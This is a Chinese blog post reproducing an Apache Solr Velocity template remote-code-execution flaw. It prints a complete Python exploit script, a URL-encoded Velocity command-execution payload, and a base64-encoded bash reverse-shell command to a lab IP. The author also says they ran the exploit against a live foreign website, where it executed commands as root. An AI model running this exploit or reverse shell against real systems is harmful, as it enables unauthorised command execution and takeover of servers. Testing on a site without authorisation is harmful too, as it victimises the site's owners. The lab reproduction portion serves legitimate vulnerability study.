Solr简单介绍

Solr是建立在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。

Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。

漏洞介绍

该漏洞的产生是由于两方面的原因:

当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT

影响范围:5.x - 8.2.0

需要具有config api

漏洞复现

翻了挺久,很多站都是没有core admin中的用户(自我理解),或是有的站已经有所防护,开启了密码验证,测试了很多站,发现一个外国的一个站可以完美复现。(纯属自己不喜欢手动搭建)

GET请求访问config

/solr/用户名/config

post请求poc验证

poc成功

GET请求RCE poc

很幸运,solr进程是以root用户权限执行的,一般应该是solr权限。

只能执行一个命令,ls,pwd,whoami,id等单个命令。遗憾,不懂java,不知道是不是可以改成完整RCE的exp

刚出炉的py_exp

"""
auth: @l3_W0ng
version: 1.0
function: Apache Solr RCE via Velocity template
usage: python3 script.py ip [port [command]]
default port=8983
default command=whoami
note:
Step1: Init Apache Solr Configuration
Step2: Remote Exec in Every Solr Node
""" import sys
import json
import time
import requests class initSolr(object): timestamp_s = str(time.time()).split('.')
timestamp = timestamp_s[0] + timestamp_s[1][0:-3] def __init__(self, ip, port):
self.ip = ip
self.port = port def get_nodes(self):
payload = {
'_': self.timestamp,
'indexInfo': 'false',
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores' try:
nodes_info = requests.get(url, params=payload, timeout=5)
node = list(nodes_info.json()['status'].keys())
state = 1
except:
node = ''
state = 0 if node:
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
else:
return {
'node': None,
'state': state,
'msg': 'Get Nodes Failed'
} def get_system(self):
payload = {
'_': self.timestamp,
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
try:
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1 except:
os_name = ''
os_uname = ''
os_version = ''
state = 0 return {
'system': {
'name': os_name,
'uname': os_uname,
'version': os_version,
'state': state
}
} class apacheSolrRCE(object): def __init__(self, ip, port, node, command):
self.ip = ip
self.port = port
self.node = node
self.command = command
self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node def init_node_config(self):
url = self.url + '/config'
payload = {
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}
try:
res = requests.post(url=url, data=json.dumps(payload), timeout=5)
if res.status_code == 200:
return {
'init': 'Init node config successfully',
'state': 1
}
else:
return {
'init': 'Init node config failed',
'state': 0
}
except:
return {
'init': 'Init node config failed',
'state': 0
} def rce(self):
url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
"%23set($x=%27%27)+"
"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
"%23set($str=$x.class.forName(%27java.lang.String%27))+"
"%23set($ex=$rt.getRuntime().exec(%27" + self.command +
"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
try:
res = requests.get(url=url, timeout=5)
if res.status_code == 200:
try:
if res.json()['responseHeader']['status'] == '0':
return 'RCE failed @Apache Solr node %s\n' % self.node
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0')) else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE failed @Apache Solr node %s\n' % self.node def check(ip, port='8983', command='whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state'] == 0:
print('No Nodes Found. Remote Exec Failed!')
else:
nodes = system.get_nodes()['node']
systeminfo = system.get_system()
os_name = systeminfo['system']['name']
os_version = systeminfo['system']['version']
print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
'you should change your command with right os platform\n' % (os_name, os_version)) for node in nodes:
res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
init_node_config = res.init_node_config()
if init_node_config['state'] == 1:
print('Init node %s Successfully, exec command=%s' % (node, command))
result = res.rce()
print(result)
else:
print('Init node %s Failed, Remote Exec Failed\n' % node) if __name__ == '__main__':
usage = ('python3 script.py ip [port [command]]\n '
'\t\tdefault port=8983\n '
'\t\tdefault command=whoami') if len(sys.argv) == 4:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
check(ip=ip, port=port, command=command)
elif len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
check(ip=ip, port=port)
elif len(sys.argv) == 2:
ip = sys.argv[1]
check(ip=ip)
else:
print('Usage: %s:\n' % usage)   

分析下exp.py,通过访问/solr/admin/cores获取返回的json()对象中的['status']

list(nodes_info.json()['status'].keys())

然后在通过字典方法keys,返回所有的键。

然后在initSolr中get_nodes返回一个字典,讲获取的两个node名,作为'node'的键值

return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}

然后就是通过/solr/admin/info/system获取主机的相关信息

system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1  

最后调用rce方法,将poc的get和post带上,迭代数组中的两个node(不一定就是两个,视主机情况而定)尝试RCE,然后获取返回值

pyexp实验如下:

只能执行单个命令,无法执行带空格的命令。比如ls -l ,cat xxx等

总结

  • 这里分析,只是觉得想知道py_exp的运行方式和获取node的具体方式。真得很佩服能通过poc快速编写exp的能力的大佬,膜拜。希望有朝一日,也有如此的快速编写py脚本能力。
  • 自我能力有限,并且不懂java,不知道是否可以真正的RCE,现在的版本,在我的认知里,只能做到whoami,id,pwd,lastlog等单个命令,做不到带空格的命令。本来想尝试passwd的,想想算了,万一搞破坏了,多不好,虽然都是外国站。

二次复现之反弹shell

今天看到了可以反弹shell的命令,所以尝试一波

利用vulnhub的环境复现

/vulhub/solr/CVE-2019-0193/

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

搭建成功

再好好的复现一遍。

发现不能单纯的靠空格来,因为是直接用的get传数据,所以得加个%20或者+号作为空格。post数据是已经url编码过的,所以需要将我们的命令再urlencode的一遍即可。

经过很多搜索发现,java的RCE中反弹shell的payload很多都会修改成SpEL语句,即Spring表达式语言(本人对java知之甚少)

反弹shell payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}  

再进行urlencode一次就可以了。

exp直接可以反弹到shell。这里不实验了。撸作业了。

CVE-2019-0193 Apache solr velocity模块漏洞的更多相关文章

  1. Apache solr velocity模块 漏洞复现

    0x01 Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平 ...

  2. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  3. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  4. Apache Solr Velocity模板注入rce+获取交互式shell

    前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...

  5. Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 这里用的docker环境 很简单的 在这里不再介绍 本地搭建好环境然后访问8983端口 网页如下: 查下节点名称 同样名字可以访问http ...

  6. 应用安全 - Web框架 - Apache Solr - 漏洞汇总

    CVE-2019-12409 Date: // 类型: 配置不当导致远程代码执行 前置条件: 影响范围: Solr and for Linux Solr下载:https://www.apache.or ...

  7. 【漏洞复现】Apache Solr via Velocity template远程代码执行

    0x01 概述 Solr简介 Apache Solr 是一个开源的企业级搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.Apache Solr ...

  8. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  9. 【漏洞复现】Apache Solr远程代码执行(CVE-2019-0193)

    0x01 概述 Solr简介 Apache Solr 是一个开源的企业级搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.Apache Solr ...

随机推荐

  1. PHP - json_decode returns NULL的解决办法

    碰到了PHP json_decode returns NULL, 肿么办? 1. google 一下, 关键字:PHP json_decode NULL 首先你能看到我这个这个帖子:) http:// ...

  2. Transformers 库常见的用例 | 三

    作者|huggingface 编译|VK 来源|Github 本章介绍使用Transformers库时最常见的用例.可用的模型允许许多不同的配置,并且在用例中具有很强的通用性.这里介绍了最简单的方法, ...

  3. coding++:Semaphore—RateLimiter-漏桶算法-令牌桶算法

    java中对于生产者消费者模型,或者小米手机营销 1分钟卖多少台手机等都存在限流的思想在里面. 关于限流 目前存在两大类,从线程个数(jdk1.5 Semaphore)和RateLimiter速率(g ...

  4. class-dump的安装和使用

    安装步骤 1.下载地址:http://stevenygard.com/projects/class-dump/ 2.打开终端输入 open /usr/local/bin 3.把dmg文件中的class ...

  5. iOS UITableView优化

    一.Cell 复用 在可见的页面会重复绘制页面,每次刷新显示都会去创建新的 Cell,非常耗费性能.  解决方案:创建一个静态变量 reuseID,防止重复创建(提高性能),使用系统的缓存池功能. s ...

  6. [POJ2533]Longest Ordered Subsequence<dp>

    题目链接:http://poj.org/problem?id=2533 描述: A numeric sequence of ai is ordered if a1 < a2 < ... & ...

  7. Python学习-第五节:面向对象

    概念: 核心是“过程”二字,“过程”指的是解决问题的步骤,即先干什么再干什么......,基于面向过程设计程序就好比在设计一条流水线,是一种机械式的思维方式.若程序一开始是要着手解决一个大的问题,面向 ...

  8. Mitmproxy 安装

    Mitmproxy Python 安装步骤 官方文档 安装mitmproxy 在cmd中输入 pip install mitmproxy 安装完成后,在cmd中输入 mitmdump(windows不 ...

  9. HDU 2147kiki's game(巴什博弈变形)

    题目链接 思路如下 P : 必胜点,那个人先走到 含P的点,那个这个人一定会输, N:必败点,谁走到这个点谁输! 在这一个题中: 某个点是P还是 N,之与 ⬅️左边第一个点.⬇️下边第一个点.↙️左下 ...

  10. RocketMQ的高可用集群部署

    RocketMQ的高可用集群部署 标签(空格分隔): 消息队列 部署 1. RocketMQ 集群物理部署结构 Rocket 物理部署结构 Name Server: 单点,供Producer和Cons ...